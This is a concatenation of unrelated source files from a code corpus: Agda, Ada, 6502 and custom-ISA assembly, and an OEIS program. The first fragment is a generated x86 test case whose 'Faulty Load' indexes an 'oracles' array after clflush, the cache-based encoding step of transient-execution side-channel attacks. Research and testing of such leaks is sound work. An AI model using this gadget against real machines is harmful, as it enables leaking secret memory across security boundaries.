lea addresses_D+0x1c723, %r8
clflush (%r8)
nop
nop
nop
nop
nop
dec %r13
movb $0x51, (%r8)
nop
nop
nop
xor %r8, %r8
// Store
lea addresses_D+0x17d23, %r11
nop
nop
sub %r10, %r10
mov $0x5152535455565758, %r14
movq %r14, (%r11)
nop
nop
nop
xor %r14, %r14
// Store
lea addresses_WC+0xba3, %r13
nop
nop
nop
nop
and $48092, %r12
movl $0x51525354, (%r13)
nop
nop
and %r10, %r10
// Store
lea addresses_PSE+0x3ca3, %r11
xor %r12, %r12
mov $0x5152535455565758, %r8
movq %r8, %xmm5
movntdq %xmm5, (%r11)
xor %r10, %r10
// Faulty Load
lea addresses_D+0x17d23, %r8
nop
nop
nop
nop
add %rdx, %rdx
mov (%r8), %r10d
lea oracles, %r11
and $0xff, %r10
shlq $12, %r10
mov (%r11,%r10,1), %r10
pop %rdx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'same': True, 'size': 4, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'58': 18765}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
archive/agda-3/src/Oscar/Class/Symmetrical.agda | m0davis/oscar | 0 | 13063 | <reponame>m0davis/oscar
open import Oscar.Prelude
open import Oscar.Data.Proposequality
module Oscar.Class.Symmetrical where
private
module _
{𝔞} {𝔄 : Ø 𝔞}
{𝔟} {𝔅 : Ø 𝔟}
where
module Visible
(_∼_ : 𝔄 → 𝔄 → 𝔅)
{ℓ} (_↦_ : 𝔅 → 𝔅 → Ø ℓ)
where
𝓼ymmetrical = λ x y → (x ∼ y) ↦ (y ∼ x)
𝓈ymmetrical = ∀ x y → 𝓼ymmetrical x y
record 𝓢ymmetrical
{𝓢 : 𝔄 → 𝔄 → Ø ℓ}
⦃ _ : 𝓢 ≡ 𝓼ymmetrical ⦄
: Ø 𝔞 ∙̂ ℓ
where
field symmetrical : 𝓈ymmetrical -- FIXME might there be some reason to use "∀ x y → 𝓢 x y" here instead?
Symmetrical : Ø _
Symmetrical = 𝓢ymmetrical ⦃ ∅ ⦄
symmetrical⟦_/_⟧ : ⦃ _ : Symmetrical ⦄ → 𝓈ymmetrical
symmetrical⟦_/_⟧ ⦃ I ⦄ = 𝓢ymmetrical.symmetrical I
module Hidden
{_∼_ : 𝔄 → 𝔄 → 𝔅}
{ℓ} {_↦_ : 𝔅 → 𝔅 → Ø ℓ}
where
open Visible _∼_ _↦_
symmetrical : ⦃ _ : Symmetrical ⦄ → 𝓈ymmetrical
symmetrical = symmetrical⟦_/_⟧
open Visible public
open Hidden public
|
software/libs/math.asm | Arkaeriit/asrm | 1 | 102850 | ;---------------------
;This file contain functions used to do some basic math opperations
;---------------------
;Multiplies R1 by R2 and put the result in R1
label intMult
pushr R3 ;tmp result
pushr R4 ;loop counter
pushr R5 ;end loop pointer
pushr R6 ;start loop pointer
set 0
cpy R3
cpy R4
setlab intMultLoopEnd
cpy R5
setlab intMultLoopStart
cpy R6
set 0
label intMultLoopStart
read R4 ;Testing for end loop
eq R2
read R5
jif
set 1 ;increasing loop counter
add R4
cpy R4
read R1 ;increasing R3
add R3
cpy R3
read R6 ;back to top
jmp
label intMultLoopEnd
read R3
cpy R1
popr R6
popr R5
popr R4
popr R3
ret
;--------------------------
;Put the quotient of the integer division of R1 by R2 into R1 and the modulo in R2
label intDiv
pushr R3 ;quotient tmp
pushr R5
pushr R6
setlab intDivLoopStart
cpy R5
setlab intDivLoopEnd
cpy R6
set 0
cpy R3
label intDivLoopStart
read R1 ;checking for modulo < quotient
les R2
read R6
jif
read R1 ;Redusing the modulo
sub R2
cpy R1
set 1 ;increasing quotient
add R3
cpy R3
read R5 ;going back up
jmp
label intDivLoopEnd
read R1 ;putting results into correc places
cpy R2
read R3
cpy R1
popr R6
popr R5
popr R3
ret
;--------------------------
;put R1 exponent R2 into R1
label intPow
pushr R3 ;tmp result
pushr R4 ;loop counter
pushr R5 ;end loop pointer
pushr R6 ;start loop pointer
pushr R7 ;intMult pointer
setlab intPowLoopEnd
cpy R5
setlab intPowLoopStart
cpy R6
setlab intMult
cpy R7
set 1
cpy R3
set 0
cpy R4
label intPowLoopStart
read R4 ;testing loop
eq R2
read R5
jif
set 1 ;increasing loop counter
add R4
cpy R4
pushr R1 ;Preserving R1 and R2
pushr R2
read R3 ;R3 = R1 * R3
cpy R2
read R7 ;calling func
call
read R1
cpy R3
popr R2 ;restoring R1 and R2
popr R1
read R6 ;back to the top
jmp
label intPowLoopEnd
read R3 ;storing result
cpy R1
popr R7 ;restoring registers
popr R6
popr R5
popr R4
popr R3
ret
|
Math65/tests/itrig16Test.asm | Martin-H1/6502 | 3 | 166511 | <filename>Math65/tests/itrig16Test.asm<gh_stars>1-10
; -----------------------------------------------------------------------------
; Test for fmath functions under py65mon.
; <NAME> <<EMAIL>>
; -----------------------------------------------------------------------------
.outfile "tests/itrig16Test.rom"
.alias RamSize $7EFF ; default $8000 for 32 kb x 8 bit RAM
.require "../../Common/data.asm"
.text
.org $c000
.require "../itrig16.asm"
; Main entry point for the test
main:
ldx #SP0 ; Reset stack pointer
`pushzero
jsr mockConioInit
jsr sinTest
jsr cosTest
jsr tanTest
jsr asinTest
jsr acosTest
jsr atanTest
brk
_anglesToTest:
.word [[$ffff^[FULL_ROTATION+ACUTE_ANGLE]]+1] ; -$480
.word [[$ffff^ACUTE_ANGLE]+1] ; -$80
.word $0000, ACUTE_ANGLE, RIGHT_ANGLE, RIGHT_ANGLE+ACUTE_ANGLE
.word STRAIGHT_ANGLE, RIGHT_ANGLE+STRAIGHT_ANGLE
.word RIGHT_ANGLE+STRAIGHT_ANGLE+ACUTE_ANGLE, FULL_ROTATION
.word FULL_ROTATION+ACUTE_ANGLE, 2*FULL_ROTATION+ACUTE_ANGLE
.scope
_name: .byte "*** sin16 test ***",0
_msg1: .byte "sin of ",0
_msg2: .byte " = ",0
sinTest:
`println _name
ldy #$00
_loop: lda _anglesToTest,y
`pusha
iny
lda _anglesToTest,y
sta TOS_MSB,x
jsr _test
iny
cpy #22
bmi _loop
`printcr
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
jsr sin16
jsr printTosSignedln
`drop
rts
.scend
.scope
_name: .byte "*** cos16 test ***",0
_msg1: .byte "cos of ",0
_msg2: .byte " = ",0
cosTest:
`println _name
ldy #$00
_loop: lda _anglesToTest,y
`pusha
iny
lda _anglesToTest,y
sta TOS_MSB,x
jsr _test
iny
cpy #22
bmi _loop
`printcr
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
jsr cos16
jsr printTosSignedln
`drop
rts
.scend
.scope
_name: .byte "*** tan16 test ***",0
_msg1: .byte "tan of ",0
_msg2: .byte " = ",0
tanTest:
`println _name
`pushi [[$ffff^[ACUTE_ANGLE]]+1]
_loop: `dup
`pushi STRAIGHT_ANGLE
`if_less16
`dup
jsr _test
`pushi [10*DEGREE_ANGLE]
jsr add16
bra _loop
_else: `printcr
`drop
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
jsr tan16
jsr printTosSignedln
`drop
rts
.scend
.scope
_name: .byte "*** asin16 test ***",0
_msg1: .byte "asin of ",0
_msg2: .byte " = ",0
_sineValuesToTest:
.word $A57E, $0000, $0295, $257E, $5A82, $7fff, $8001
asinTest:
`println _name
ldy #$00
_loop: lda _sineValuesToTest,y
`pusha
iny
lda _sineValuesToTest,y
sta TOS_MSB,x
jsr _test
iny
cpy #14
bmi _loop
`printcr
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
jsr asin16
jsr printTosSignedln
`drop
rts
.scend
.scope
_name: .byte "*** acos16 test ***",0
_msg1: .byte "asin of ",0
_msg2: .byte " = ",0
_cosineValuesToTest:
.word $A57E, $0000, $0295, $257E, $5A82, $7fff, $8001
acosTest:
`println _name
ldy #$00
_loop: lda _cosineValuesToTest,y
`pusha
iny
lda _cosineValuesToTest,y
sta TOS_MSB,x
jsr _test
iny
cpy #14
bmi _loop
`printcr
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
jsr acos16
jsr printTosSignedln
`drop
rts
.scend
.scope
_name: .byte "*** atan test ***",0
_msg1: .byte "atan2 of [X = ",0
_msg2: .byte ", Y = ",0
_msg3: .byte "] = ",0
_xVals: .byte 3, 3, 4, 0, 4, $fb, $fb, 0, 4
_yVals: .byte 0, 4, 4, 4, $fc, 0, $fb, $fb, $fb
_yValsEnd:
.alias _yValsCount [_yValsEnd - _yVals]
atanTest:
`println _name
ldy #$00
_loop: `pushZero
lda _yVals,y
sta TOS_MSB,x
`pushZero
lda _xVals,y
sta TOS_MSB,x
jsr _test
iny
cpy #_yValsCount
bmi _loop
_exit: jsr printstack
rts
_test: `print _msg1
jsr printTosSigned
`print _msg2
`swap
jsr printTosSigned
`print _msg3
`swap
jsr atan216
jsr printTosSignedln
`drop
rts
.scend
.require "../../Common/tests/mockConio.asm"
.require "../../Common/conio.asm"
.require "../../Common/math16.asm"
.require "../../Common/print.asm"
.require "../../Common/stack.asm"
.require "../../Common/vectors.asm"
|
Cubical/Data/Graph.agda | dan-iel-lee/cubical | 0 | 16679 | <filename>Cubical/Data/Graph.agda
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Data.Graph where
open import Cubical.Data.Graph.Base public
open import Cubical.Data.Graph.Examples public
|
programs/oeis/112/A112653.asm | karttu/loda | 1 | 1580 | <filename>programs/oeis/112/A112653.asm
; A112653: a(n) squared is congruent to a(n) (mod 13).
; 0,1,13,14,26,27,39,40,52,53,65,66,78,79,91,92,104,105,117,118,130,131,143,144,156,157,169,170,182,183,195,196,208,209,221,222,234,235,247,248,260,261,273,274,286,287,299,300,312,313,325,326,338,339,351,352,364,365,377,378,390,391,403,404,416,417,429,430,442,443,455,456,468,469,481,482,494,495,507,508,520,521,533,534,546,547,559,560,572,573,585,586,598,599,611,612,624,625,637,638,650,651,663,664,676,677,689,690,702,703,715,716,728,729,741,742,754,755,767,768,780,781,793,794,806,807,819,820,832,833,845,846,858,859,871,872,884,885,897,898,910,911,923,924,936,937,949,950,962,963,975,976,988,989,1001,1002,1014,1015,1027,1028,1040,1041,1053,1054,1066,1067,1079,1080,1092,1093,1105,1106,1118,1119,1131,1132,1144,1145,1157,1158,1170,1171,1183,1184,1196,1197,1209,1210,1222,1223,1235,1236,1248,1249,1261,1262,1274,1275,1287,1288,1300,1301,1313,1314,1326,1327,1339,1340,1352,1353,1365,1366,1378,1379,1391,1392,1404,1405,1417,1418,1430,1431,1443,1444,1456,1457,1469,1470,1482,1483,1495,1496,1508,1509,1521,1522,1534,1535,1547,1548,1560,1561,1573,1574,1586,1587,1599,1600,1612,1613
mov $1,$0
div $0,2
mul $0,11
add $1,$0
|
programs/oeis/105/A105343.asm | neoneye/loda | 22 | 164243 | <reponame>neoneye/loda
; A105343: Elements of even index in the sequence gives A005893, points on surface of tetrahedron: 2n^2 + 2 for n > 1.
; 1,3,4,7,10,15,20,27,34,43,52,63,74,87,100,115,130,147,164,183,202,223,244,267,290,315,340,367,394,423,452,483,514,547,580,615,650,687,724,763,802,843,884,927,970,1015,1060,1107,1154,1203,1252,1303,1354,1407,1460,1515,1570,1627,1684,1743,1802,1863,1924,1987,2050,2115,2180,2247,2314,2383,2452,2523,2594,2667,2740,2815,2890,2967,3044,3123,3202,3283,3364,3447,3530,3615,3700,3787,3874,3963,4052,4143,4234,4327,4420,4515,4610,4707,4804,4903
pow $0,2
mul $0,2
add $0,1
mov $1,1
div $1,$0
add $0,10
div $0,4
sub $0,$1
|
tools/scitools/conf/understand/ada/ada95/i-cpthre.ads | brucegua/moocos | 1 | 10072 | ------------------------------------------------------------------------------
-- --
-- GNU ADA RUNTIME LIBRARY (GNARL) COMPONENTS --
-- --
-- I N T E R F A C E S . C . P T H R E A D S --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- Copyright (c) 1991,1992,1993,1994, FSU, All Rights Reserved --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU Library General Public License as published by the --
-- Free Software Foundation; either version 2, or (at your option) any --
-- later version. GNARL is distributed in the hope that it will be use- --
-- ful, but but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Gen- --
-- eral Library Public License for more details. You should have received --
-- a copy of the GNU Library General Public License along with GNARL; see --
-- file COPYING.LIB. If not, write to the Free Software Foundation, 675 --
-- Mass Ave, Cambridge, MA 02139, USA. --
-- --
------------------------------------------------------------------------------
-- This package interfaces with Pthreads. It is not a complete interface;
-- it only includes what is needed to implement the Ada runtime.
with System;
with Interfaces.C.System_Constants;
-- Used for, Add_Prio
-- pthread_attr_t_size
-- pthread_mutexattr_t_size
-- pthread_mutex_t_size
-- pthread_condattr_t_size
-- pthread_cond_t_size
-- NO_PRIO_INHERIT
-- PRIO_INHERIT
-- PRIO_PROTECT
with Interfaces.C.POSIX_RTE;
-- Used for, Signal,
-- Signal_Set
with Interfaces.C.POSIX_Error; use Interfaces.C.POSIX_Error;
-- Used for, Return_Code
with Interfaces.C.POSIX_Timers;
-- Used for, timespec
package Interfaces.C.Pthreads is
Alignment : constant := Natural'Min (16, 8);
Pthreads_Error : exception;
type Priority_Type is new int;
type pthread_t is private;
type pthread_mutex_t is private;
type pthread_cond_t is private;
type pthread_attr_t is private;
type pthread_mutexattr_t is private;
type pthread_condattr_t is private;
type pthread_key_t is private;
type pthread_protocol_t is private;
NO_PRIO_INHERIT : constant pthread_protocol_t;
PRIO_INHERIT : constant pthread_protocol_t;
PRIO_PROTECT : constant pthread_protocol_t;
procedure pthread_attr_init
(attributes : out pthread_attr_t;
result : out Return_Code);
pragma Inline (pthread_attr_init);
procedure pthread_attr_destroy
(attributes : in out pthread_attr_t;
result : out Return_Code);
pragma Inline (pthread_attr_destroy);
procedure pthread_attr_setstacksize
(attr : in out pthread_attr_t;
stacksize : size_t;
result : out Return_Code);
pragma Inline (pthread_attr_setstacksize);
procedure pthread_attr_setdetachstate
(attr : in out pthread_attr_t;
detachstate : int;
Result : out Return_Code);
pragma Inline (pthread_attr_setdetachstate);
procedure pthread_create
(thread : out pthread_t;
attributes : pthread_attr_t;
start_routine : System.Address;
arg : System.Address;
result : out Return_Code);
pragma Inline (pthread_create);
procedure pthread_init;
function pthread_self return pthread_t;
pragma Inline (pthread_self);
procedure pthread_detach
(thread : in out pthread_t;
result : out Return_Code);
pragma Inline (pthread_detach);
procedure pthread_mutexattr_init
(attributes : out pthread_mutexattr_t;
result : out Return_Code);
pragma Inline (pthread_mutexattr_init);
procedure pthread_mutexattr_setprotocol
(attributes : in out pthread_mutexattr_t;
protocol : pthread_protocol_t;
result : out Return_Code);
pragma Inline (pthread_mutexattr_setprotocol);
procedure pthread_mutexattr_setprio_ceiling
(attributes : in out pthread_mutexattr_t;
prio_ceiling : int;
result : out Return_Code);
pragma Inline (pthread_mutexattr_setprio_ceiling);
procedure pthread_mutex_init
(mutex : out pthread_mutex_t;
attributes : pthread_mutexattr_t;
result : out Return_Code);
pragma Inline (pthread_mutex_init);
procedure pthread_mutex_destroy
(mutex : in out pthread_mutex_t;
result : out Return_Code);
pragma Inline (pthread_mutex_destroy);
procedure pthread_mutex_trylock
(mutex : in out pthread_mutex_t;
result : out Return_Code);
pragma Inline (pthread_mutex_trylock);
procedure pthread_mutex_lock
(mutex : in out pthread_mutex_t;
result : out Return_Code);
pragma Inline (pthread_mutex_lock);
procedure pthread_mutex_unlock
(mutex : in out pthread_mutex_t;
result : out Return_Code);
pragma Inline (pthread_mutex_unlock);
procedure pthread_cond_init
(condition : out pthread_cond_t;
attributes : pthread_condattr_t;
result : out Return_Code);
pragma Inline (pthread_cond_init);
procedure pthread_cond_wait
(condition : in out pthread_cond_t;
mutex : in out pthread_mutex_t;
result : out Return_Code);
pragma Inline (pthread_cond_wait);
procedure pthread_cond_timedwait
(condition : in out pthread_cond_t;
mutex : in out pthread_mutex_t;
absolute_time : Interfaces.C.POSIX_Timers.timespec;
result : out Return_Code);
pragma Inline (pthread_cond_timedwait);
procedure pthread_cond_signal
(condition : in out pthread_cond_t;
result : out Return_Code);
pragma Inline (pthread_cond_signal);
procedure pthread_cond_broadcast
(condition : in out pthread_cond_t;
result : out Return_Code);
pragma Inline (pthread_cond_broadcast);
procedure pthread_cond_destroy
(condition : in out pthread_cond_t;
result : out Return_Code);
pragma Inline (pthread_cond_destroy);
procedure pthread_condattr_init
(attributes : out pthread_condattr_t;
result : out Return_Code);
pragma Inline (pthread_condattr_init);
procedure pthread_condattr_destroy
(attributes : in out pthread_condattr_t;
result : out Return_Code);
pragma Inline (pthread_condattr_destroy);
procedure pthread_setspecific
(key : pthread_key_t;
value : System.Address;
result : out Return_Code);
pragma Inline (pthread_setspecific);
procedure pthread_getspecific
(key : pthread_key_t;
value : out System.Address;
result : out Return_Code);
pragma Inline (pthread_getspecific);
procedure pthread_key_create
(key : out pthread_key_t;
destructor : System.Address;
result : out Return_Code);
pragma Inline (pthread_key_create);
procedure pthread_attr_setprio
(attr : in out pthread_attr_t;
priority : Priority_Type;
result : out Return_Code);
pragma Inline (pthread_attr_setprio);
procedure pthread_attr_getprio
(attr : pthread_attr_t;
priority : out Priority_Type;
result : out Return_Code);
pragma Inline (pthread_attr_getprio);
procedure pthread_setschedattr
(thread : pthread_t;
attributes : pthread_attr_t;
result : out Return_Code);
pragma Inline (pthread_setschedattr);
procedure pthread_getschedattr
(thread : pthread_t;
attributes : out pthread_attr_t;
result : out Return_Code);
pragma Inline (pthread_getschedattr);
procedure pthread_exit (status : System.Address);
pragma Interface (C, pthread_exit);
pragma Interface_Name (pthread_exit, "pthread_exit");
procedure sigwait
(set : Interfaces.C.POSIX_RTE.Signal_Set;
sig : out Interfaces.C.POSIX_RTE.Signal;
result : out Return_Code);
pragma Inline (sigwait);
procedure pthread_kill
(thread : pthread_t; sig : Interfaces.C.POSIX_RTE.Signal;
result : out Return_Code);
pragma Inline (pthread_kill);
procedure pthread_cleanup_push
(routine : System.Address;
arg : System.Address);
pragma Inline (pthread_cleanup_push);
procedure pthread_cleanup_pop (execute : int);
pragma Inline (pthread_cleanup_pop);
procedure pthread_yield;
pragma Inline (pthread_yield);
private
-- The use of longword alignment for the following C types is
-- a stopgap measure which is not generally portable. A portable
-- solution will require some means of getting alignment information
-- from the C compiler.
type pthread_attr_t is
array (1 .. System_Constants.pthread_attr_t_size) of unsigned;
for pthread_attr_t'Alignment use Alignment;
type pthread_mutexattr_t is
array (1 .. System_Constants.pthread_mutexattr_t_size) of unsigned;
for pthread_mutexattr_t'Alignment use Alignment;
type pthread_mutex_t is
array (1 .. System_Constants.pthread_mutex_t_size) of unsigned;
for pthread_mutex_t'Alignment use Alignment;
type pthread_condattr_t is
array (1 .. System_Constants.pthread_condattr_t_size) of unsigned;
for pthread_condattr_t'Alignment use Alignment;
type pthread_cond_t is
array (1 .. System_Constants.pthread_cond_t_size) of unsigned;
for pthread_cond_t'Alignment use Alignment;
-- type pthread_t is
-- array (1 .. System_Constants.pthread_t_size) of unsigned;
type pthread_t is new unsigned;
-- ??? The use of an array here (of one element, usually) seems to cause
-- problems in the compiler. It put a long word 4 in the
-- instruction stream of Interfaces.C.Pthreads.pthread_self. This
-- is obviously meant to provide some clue as to what size
-- item it is to return, but pthread_self tried to execute it.
type pthread_key_t is new unsigned;
-- This type is passed as a scaler into a C function. It must
-- be declared as a scaler, not an array. This being so, an unsigned
-- should work.
type pthread_protocol_t is new int;
NO_PRIO_INHERIT : constant pthread_protocol_t :=
System_Constants.NO_PRIO_INHERIT;
PRIO_INHERIT : constant pthread_protocol_t :=
System_Constants.PRIO_INHERIT;
PRIO_PROTECT : constant pthread_protocol_t :=
System_Constants.PRIO_PROTECT;
end Interfaces.C.Pthreads;
|
src/algos/line_finder/line_finder_types.ads | yannickmoy/SPARKZumo | 6 | 30372 | pragma SPARK_Mode;
with Types; use Types;
-- @summary
-- Types used in the line finder algorithm
package Line_Finder_Types is
-- States detected by the IR sensors
-- @value Lost no line found. Start panicking
-- @value Online one line is found somewhere under the middle set of
-- sensors
-- @value BranchRight we found a branch going to the right of the robot
-- @value BranchLeft we found a branch going to the left of the robot
-- @value Fork we found a fork in the line. Pick it up!
-- @value Perp we came to a perpendicular intersection.
-- @value Unknown this is a state where we have lots of noise. Ignore
type LineState is
(Lost, Online, BranchRight, BranchLeft, Fork, Perp, Unknown)
with Size => 8;
-- The orientation of the robot in relation to the line
-- @value Left the line is under the left side of the robot
-- @value Center the line is under the center of the robot
-- @value Right the line is under the right side of the robot
type BotOrientation is
(Left, Center, Right);
-- When we can't find the line we should do larger circles to refind it.
-- This is the type that we can use to tell the motors how to circle
subtype OfflineCounterType is Integer range
2 * Motor_Speed'First .. 2 * Motor_Speed'Last;
-- We can make decisions based on a simple scheme or complex
-- @value Simple simple decision matrix. Best when we are Lost
-- @value Complex complex decision matrix. Best when we know whats going on
type DecisionType is
(Simple, Complex);
-- The data structure holding information about the robot and its current
-- situation
-- @field LineHistory the last computer state
-- @field OrientationHistory the last computed BotOrientation
-- @field SensorValueHistory the last sensor value detected
-- @field ErrorHistory the last computed error from the robot centered
-- @field OfflineCounter How the motors should circle when lost
-- @field LostCounter How long its been since we saw the line
-- @field Decision type of decisions matrix to use
-- @field LineDetect the value computed from the value we read from the
-- sensors
-- @field Sensor_Values the actual values we read from the sensors
type RobotState is record
LineHistory : LineState := Online;
OrientationHistory : BotOrientation := Center;
SensorValueHistory : Integer := 0;
ErrorHistory : Robot_Position := 0;
OfflineCounter : OfflineCounterType := 0;
LostCounter : Natural := 0;
Decision : DecisionType := Complex;
LineDetect : Byte := 0;
Sensor_Values : Sensor_Array := (others => 0);
end record;
-- FOR DEBUG! Maps states to strings
LineStateStr : array (LineState) of String (1 .. 2) :=
(Lost => "Lo",
Online => "On",
BranchRight => "BR",
BranchLeft => "BL",
Fork => "Fo",
Perp => "Pe",
Unknown => "Uk");
-- This is the lookup table we use to convert SensorValues to detected
-- states.
LineStateLookup : constant array (0 .. 2 ** Num_Sensors - 1) of LineState :=
(2#00_000_000# => Lost,
2#00_000_001# => Online,
2#00_000_010# => Online,
2#00_000_011# => Online,
2#00_000_100# => Online,
2#00_000_101# => Fork,
2#00_000_110# => Online,
2#00_000_111# => BranchLeft,
2#00_001_000# => Online,
2#00_001_001# => Fork,
2#00_001_010# => Fork,
2#00_001_011# => Fork,
2#00_001_100# => Online,
2#00_001_101# => Fork,
2#00_001_110# => Online,
2#00_001_111# => BranchLeft,
2#00_010_000# => Online,
2#00_010_001# => Fork,
2#00_010_010# => Fork,
2#00_010_011# => Fork,
2#00_010_100# => Fork,
2#00_010_101# => Unknown,
2#00_010_110# => Fork,
2#00_010_111# => Fork,
2#00_011_000# => Online,
2#00_011_001# => Fork,
2#00_011_010# => Fork,
2#00_011_011# => Fork,
2#00_011_100# => Online,
2#00_011_101# => Fork,
2#00_011_110# => Online,
2#00_011_111# => BranchLeft,
